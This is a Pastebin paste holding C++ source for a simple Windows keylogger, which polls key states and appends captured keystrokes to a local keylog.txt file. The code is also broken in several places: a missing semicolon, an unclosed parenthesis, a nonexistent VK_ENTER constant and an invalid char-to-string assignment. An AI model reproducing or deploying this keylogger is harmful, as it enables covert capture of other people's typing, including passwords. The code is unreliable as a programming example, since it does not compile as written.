Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <fstream>
- #include <string>
- #include <windows.h>
- using namespace std;
- ofstream out;
- string buffer;
- int counter
- void keylist(char key);
- int main()
- {
- char chType[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
- while(1==1)
- {
- for (int i=0; i<36; i++)
- keylist(chType[i];
- if(GetAsyncKeyState(VK_SPACE))
- {
- buffer.append(" ");
- counter++;
- }
- if(GetAsyncKeyState(VK_ENTER))
- {
- buffer.append("\n");
- counter ++;
- }
- if(counter==15)
- {
- out.open("keylog.txt", ios::app);
- out << buffer;
- buffer = "";
- out.close();
- counter=0;
- }
- Sleep(100);
- }
- }
- void keylist(char key)
- {
- if(GetAsyncKeyState(key))
- {
- string skey = key;
- buffer.append(skey);
- counter++;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment